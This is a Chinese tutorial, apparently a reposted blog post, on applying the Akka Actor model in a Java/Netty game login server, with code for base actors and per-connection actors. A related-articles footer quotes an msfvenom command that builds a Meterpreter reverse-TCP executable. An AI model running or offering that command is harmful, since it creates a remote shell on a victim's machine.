从零开始搭建游戏服务器 第二节 Actor模型与应用

目录

  • 复习
  • 本节内容
  • 正文
    • 什么是Actor模型
    • 如何应用
    • 创建Actor基类
    • 创建RootActor
    • 创建AkkaContext
    • 创建ConnectActorManager和ConnectActor
    • 生成actor并发送消息给它
  • 课后作业
  • 结尾

复习

上一节我们使用gradle构建了一个多模块系统。
并且在登录服启动了Netty服务,监听config文件中配置的端口。
在client模块中使用Netty创建一个客户端连接到登录服,并且发送并接收协议。

本节内容

本节我们学习一下Actor模型。并将其应用在我们的登录服中。
我们将会为每一个连接上来的客户端生成一个actor专门用于处理该连接发送上来的请求数据。

正文

什么是Actor模型

Actor模型是一种强大的并发计算模型。
在Actor模型中,一个Actor是一个最基本的计算单元,它可以看作是一个个独立的实体,它们之间毫无关联,但是可以通过消息来通信。
一个Actor收到其他Actor的信息后,可以根据需要作出各种响应。每个Actor的数据相互隔离,使用消息传递的方式来进行并发操作,避免了多线程编程中常见的同步和共享内存问题,从而提高了程序的可靠性和可伸缩性。
使用Actor模型最好的一点在于,为Actor逻辑进行编码时,无需过多考虑多线程并发问题,因为它是通过消息驱动的且其内部数据只能由其本身进行修改,而每个Actor的消息处理是串行的,所以每个Actor内部的数据不会被并发修改。
出bug的情况较少,对新人友好,意味着可以多招新人程序员来开发以节约项目成本。

如何应用

要在java中使用Actor模型,可以使用akka的actor库进行开发。
Kilim是一个比akka更轻量化的actor库,但是社区规模相对较小。
本项目选择使用akka的actor库。

        implementation group: 'com.typesafe.akka', name: 'akka-actor-typed_3', version: '2.8.5'

创建Actor基类

因为我们项目中将会有多种不同功能的actor出现,我们先定一个actor基类用于规范所有actor。
创建BaseMsg和BaseActor两个类

/**
* 消息基类 所有Actor消息的基类
*/
public class BaseMsg implements Serializable {
}/**
* Actor基类
*/
@Slf4j
public abstract class BaseActor extends AbstractBehavior<BaseMsg> {public BaseActor(ActorContext<BaseMsg> context) {super(context);}@Overridepublic Receive<BaseMsg> createReceive() {ReceiveBuilder<BaseMsg> builder = newReceiveBuilder();builder.onMessage(BaseMsg.class, this::onBaseMsg);return builder.build();}private Behavior<BaseMsg> onBaseMsg(BaseMsg msg) {log.info("receive base msg. {}", msg.toString());return this;}
}

BaseActor继承与AbstractBehavior,它接收所有BaseMsg类型的消息,当收到BaseMsg消息时打印receive base msg.

创建RootActor

RootActor是一个用于初始化ActorSystem和创建其他Actor的守护Actor

public class RootActor extends BaseActor{public RootActor(ActorContext<BaseMsg> context) {super(context);}public static Behavior<BaseMsg> create() {return Behaviors.setup(RootActor::new);}
}

创建AkkaContext

AkkaContext用于储存ActorSystem上下文,并提供创建Actor的方法。

final public class AkkaContext {private static ActorSystem<BaseMsg> ACTOR_SYSTEM;public static void initActorSystem() {ACTOR_SYSTEM = ActorSystem.create(RootActor.create(), "ActorSystem");}public static ActorRef<BaseMsg> createActor(Behavior<BaseMsg> behavior, String name) {return ACTOR_SYSTEM.systemActorOf(behavior, name, Props.empty());}
}

服务器启动时调用initActorSystem初始化akka上下文。需要生成Actor则调用createActor。

创建ConnectActorManager和ConnectActor

在登录服中,我们会为每一个连接分配一个Actor,称之为ConnectActor,用于接收各个连接发送过来的消息,并串行地处理消息逻辑。
为了管理ConnectActor,我们需要一个ConnectActorManager用于存储每一个连接与connectActor的映射关系。

首先我们需要为每一个连接分配一个唯一id,称之为connectId。
修改LoginNettyHandler中负责处理建立连接逻辑的接口channelActive

	// 登录服ctx自定义属性private static final AttributeKey<HashMap<String, Object>> loginContextAttr = AttributeKey.valueOf("login");/*** 建立连接*/@Overridepublic void channelActive(ChannelHandlerContext ctx) throws Exception {InetSocketAddress address = (InetSocketAddress) ctx.channel().remoteAddress();String ip = address.getAddress().getHostAddress();HashMap<String, Object> context = this.getContextAttrMap(ctx);if (context == null) {context = new HashMap<>();ctx.channel().attr(loginContextAttr).set(context);}// 先只用uuid的64位来做connectId,只要不超过64位理论上不会重复long connectId = UUID.randomUUID().getLeastSignificantBits();context.put("connectId", connectId);context.put("ip", ip);if (ctx.channel().isActive()) {log.info("创建连接—成功:ip = {},connectId = {}", ip, connectId);}}/*** 从ctx中获取自定义属性参数*/private HashMap<String, Object> getContextAttrMap(ChannelHandlerContext ctx) {return ctx.channel().attr(loginContextAttr).get();}

我们为每一个连接设置了一个存放自定义属性的HashMap,然后使用UUID生成了一个connectId存入其中。

然后我们创建一个ConnectActor类,和RootActor类类似,继承BaseActor类,并实现create方法。

public class ConnectActor extends BaseActor {private long connectId;private ChannelHandlerContext ctx;public ConnectActor(ActorContext<BaseMsg> context, long connectId, ChannelHandlerContext ctx) {super(context);this.connectId = connectId;this.ctx = ctx;}/*** 生成一个ConnectActor的行为*/public static Behavior<BaseMsg> create(long connectId, ChannelHandlerContext ctx) {return Behaviors.setup(context -> new ConnectActor(context, connectId, ctx));}
}

创建ConnectActorManager类,用于管理所有的ConnectActor。

@Component
public class ConnectActorManager {private final Map<Long, ActorRef<BaseMsg>> connectActorMap = new ConcurrentHashMap<>();public ActorRef<BaseMsg> getConnectActor(long connectId) {return connectActorMap.get(connectId);}public static ConnectActorManager getInstance() {return SpringUtils.getBean(ConnectActorManager.class);}/*** 创建一个ConnectActor*/public ActorRef<BaseMsg> createConnectActor(long connectId, ChannelHandlerContext ctx) {ActorRef<BaseMsg> actor = AkkaContext.createActor(ConnectActor.create(connectId, ctx), String.valueOf(connectId));connectActorMap.put(connectId, actor);return actor;}
}

在ConnectActorManager类中,我们定义了一个ConcurrentHashMap,用于存放所有的ConnectActor,因为Netty接收数据是多线程的,所以可能有多个线程同时对其进行读写操作,所以使用ConcurrentHashMap保证线程安全。

生成actor并发送消息给它

我们修改LoginNettyHandler类,处理读取数据的接口channelRead0.

    @Overrideprotected void channelRead0(ChannelHandlerContext ctx, byte[] msg) throws Exception {HashMap<String, Object> context = this.getContextAttrMap(ctx);long connectId = (long)context.get("connectId");ConnectActorManager actorManager = SpringUtils.getBean(ConnectActorManager.class);ActorRef<BaseMsg> connectActor = actorManager.getConnectActor(connectId);if (connectActor == null) {connectActor = actorManager.createConnectActor(connectId, ctx);}log.info(new String(msg));BaseMsg baseMsg = new BaseMsg();connectActor.tell(baseMsg);ctx.channel().writeAndFlush(msg);}

当接收到数据时,我们从ctx中获得建立连接时生成的connectId,再用其去ConnectActorManager中获取对应的connectActor,没有则创建一个新的。
然后我们创建一个消息BaseMsg,将其发送给connectActor进行处理。
最后我们将数据原封不动地返回回去。

运行一下试试。
运行结果
可以看到我们的服务器收到了test消息,并且给ConnectActor发送了一个BaseMsg消息。

课后作业

现在我们可以给ConnectActor发送消息了,是不是可以将BaseMsg细分成更多不一样的消息,用于处理ctx的不同类型的数据。
我预计为BaseMsg创建不同的子类,用来通知ConnectActor来做出不同的行为。
ClientUpMsg:客户端上行数据消息;
ConnectClosedMsg:客户端断开消息;

但是我不会在这里将代码展示出来,我希望读者们可以自己去实现这两个消息,只需要打印出不同的日志就行。

结尾

本节我们讲了Actor模型并且在实战中使用了它。
Actor模型是一个非常好用的并发计算模型,有了它可以使开发者不用过多关心并发问题和数据共享问题,只需要专注于业务逻辑的开发即可。
希望本节的内容能对你有所帮助,有任何问题可以评论或私信。
感兴趣的同学可以关注该专栏,我会持续更新更多关于游戏服务器开发的内容。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2868973.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

渗透测试框架权限维持技术——Persistence模块

测试环境&#xff1a; kali win7 测试步骤&#xff1a; 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址&#xff08;kali地址&#xff09; lport 监听端口&#xf…

劲仔食品三年倍增,抢先打响鹌鹑蛋“健康”属性品牌之争?

如果说&#xff0c;进入2024年后&#xff0c;在股价继续陷入回调状态的食品板块中有个股走势表现相对亮眼&#xff0c;那么劲仔食品必是其中之一。 从去年发布2023年三季度业绩公告以来&#xff0c;其强劲的业绩表现就带动了股价走出小趋势。2023年10月23日至今2024年3月13日收…

Spring框架-上篇

预备知识&#xff1a;Maven基础 目录 Spring课程介绍为什么学学什么怎么学将学习的Spring技术 Spring Framework系统架构Spring Framework系统架构图Spring Framework学习线路 核心概念小结IoC案例Io入门案例思路分析Ioc入门案例(XML版) DI入门案例DI入门案例思路分析DI入门案…

关于UE的相机震动CameraShake

创建CameraShake资源 CameraShake配置是个蓝图类&#xff0c;我们选择创建BlueprintClass&#xff0c;父类选择CameraShakeBase即可。 参数调整 目前主要用到了 LocationAmplitudeMultiplier 1 LocationFrequencyMultiplier 10 RotationAmplitudeMultiplier 1 Rotation…

云服务器2核4G能支持多少人同时访问?拿本记上!

腾讯云轻量2核4G5M带宽服务器支持多少人在线访问&#xff1f;5M带宽下载速度峰值可达640KB/秒&#xff0c;阿腾云以搭建网站为例&#xff0c;假设优化后平均大小为60KB&#xff0c;则5M带宽可支撑10个用户同时在1秒内打开网站&#xff0c;并发数为10&#xff0c;经阿腾云测试&a…

使用Python IDLE进行Debug调试

1.首先以我的Python版本为例为大家讲解&#xff0c;我的版本是Python 3.7&#xff0c;版本问题对使用情况影响不大。 2.接着我们可以通过新建文件夹来输入我们的代码或者打开我们已有的代码 这里我直接打开已有的代码效果如图&#xff0c;接下来我们如何使用Debug呢&#xff1…

【LLM】LLama2模型(RMSNorm、SwiGLU、RoPE位置编码)

note 预训练语言模型除了自回归&#xff08;Autoregressive&#xff09;模型GPT&#xff0c;还有自编码模型&#xff08;Autoencoding&#xff09;BERT[1]、编-解码&#xff08;Encoder-Decoder&#xff09;模型BART[67]&#xff0c;以及融合上述三种方法的自回归填空&#xf…

【视频图像取证篇】模糊图像增强技术之深度转化类滤波场景应用小结

【视频图像取证篇】模糊图像增强技术之深度转化类滤波场景应用小结 模糊图像增强技术之深度转化类滤波场景应用小结—【蘇小沐】 &#xff08;一&#xff09;转化类滤波器&#xff08;Convert to filter&#xff09; 1、灰度滤波器&#xff08;Gray filter&#xff09; 灰度…

stm32学习——串口通信中的奇偶校验位

常用的校验算法有奇偶校验、校验和、CRC&#xff0c;还有LRC、BCC等不常用的校验算法。 以串口通讯中的奇校验为例&#xff0c;如果数据中1的个数为奇数&#xff0c;则奇校验位0&#xff0c;否则为1。 例如原始数据为&#xff1a;0001 0011&#xff0c;数据中1的个数&#xf…

STM32-Flash闪存

简介 STM32F1系列的FLASH包含程序存储器、系统存储器和选项字节三个部分&#xff0c;通过闪存存储器接口&#xff08;外设&#xff09;可以对程序存储器和选项字节进行擦除和编程。 读写Flash的用途 1.利用程序存储器的剩余空间来保存掉电不丢失的用户数据。 2.通过在程序中…

springboot“涛宝”大学生二手物品交易商城

摘 要 二十一世纪我们的社会进入了信息时代&#xff0c;信息管理系统的建立&#xff0c;大大提高了人们信息化水平。传统的管理方式对时间、地点的限制太多&#xff0c;而在线管理系统刚好能满足这些需求&#xff0c;在线管理系统突破了传统管理方式的局限性。于是本文针对这一…

SwiftUI的 特性 - ViewModify

SwiftUI的 特性 - ViewModify 记录一下SwiftUI的 特性 - ViewModify的使用方式 可以通过viewModify来管理视图的样式&#xff0c;结合extension来完成封装达到解偶效果 import SwiftUI/// 我们可以通过viewModify来管理视图的样式&#xff0c;来达到解偶效果 struct DefaultB…

5_springboot_shiro_jwt_多端认证鉴权_禁用Cookie

1. Cookie是什么 ​ Cookie是一种在客户端&#xff08;通常是用户的Web浏览器&#xff09;和服务器之间进行状态管理的技术。当用户访问Web服务器时&#xff0c;服务器可以向用户的浏览器发送一个名为Cookie的小数据块。浏览器会将这个Cookie存储在客户端&#xff0c;为这个Co…

都2024年了,你还在用两个手指在电脑键盘上打字吗?

前言 前段时间突然想起来一件很有意思的事情&#xff1a;一个找平面设计岗位的应届生&#xff0c;使用电脑的时候居然还在用两个手指打字。 想起这个事情的时候&#xff0c;并不是想嘲笑谁。 准备步入大学或者准备步入职场的小伙伴们&#xff0c;既然找的工作基本上是要接触电…

初出茅庐的小李博客之串口屏开发一个音乐控制器UI

串口屏介绍 串口屏通常指的是一种带有串口接口的显示屏&#xff0c;可以通过串口与其他设备进行通信和控制。这种屏幕通常具有独立的控制器和显示功能&#xff0c;可以直接接入主控系统&#xff0c;实现信息的显示和交互。 开发步骤 准备UI素材 准备了100张音量的图标&#x…

同城预约上门服务APP小程序开发 打造快捷便利生活

随着移动互联网的快速发展&#xff0c;人们的生活方式正在发生深刻的变化。特别是在城市生活中&#xff0c;人们越来越依赖移动应用来解决日常生活中的各种问题。其中&#xff0c;同城预约上门服务APP正成为一种新型的生活服务平台&#xff0c;为人们提供了更加便利和快捷的服务…

2024043期传足14场胜负前瞻

2024043期售止时间为3月17日&#xff08;周日&#xff09;21点30分&#xff0c;敬请留意&#xff1a; 本期深盘多&#xff0c;1.5以下赔率1场&#xff0c;1.5-2.0赔率7场&#xff0c;其他场次是平半盘、平盘。本期14场整体难度中等偏上。以下为基础盘前瞻&#xff0c;大家可根据…

SwiftUI自定义ButtonStyle

SwiftUI自定义ButtonStyle 记录一下如何通过自定义SwiftUI自定义ButtonStyle&#xff0c;来给按钮设计一个点击样式 import SwiftUI /*本文章 通过创建ButtonStyle&#xff0c;来自定义按钮的点击动画*/struct PressButtonStyle: ButtonStyle {func makeBody(configuration: …

find_package 总结

本文参考&#xff1a;“轻松搞定CMake”系列之find_package用法详解 原理 find_package 即在指定目录CMAKE_MODULE_PATH 或 CMAKE_PREFIX_PATH查找对应的cmake文件。 find 模式 Module模式(默认)&#xff1a;查询Findxxx.cmake配置文件, 在CMAKE_MODULE_PATH 目录Config模式…

什么又是线程呢??

线程&#xff1a; 线程可以并发的执行&#xff0c;但是线程的地址是可以共享的 进程与线程的比较&#xff1a; 进程>线程 线程分三种&#xff1a; 用户线程 只有用户程序的库函数来 用户线程 因为操作系统感知不到 线程&#xff0c;如果有线程在运行&#xff0c;然后不交…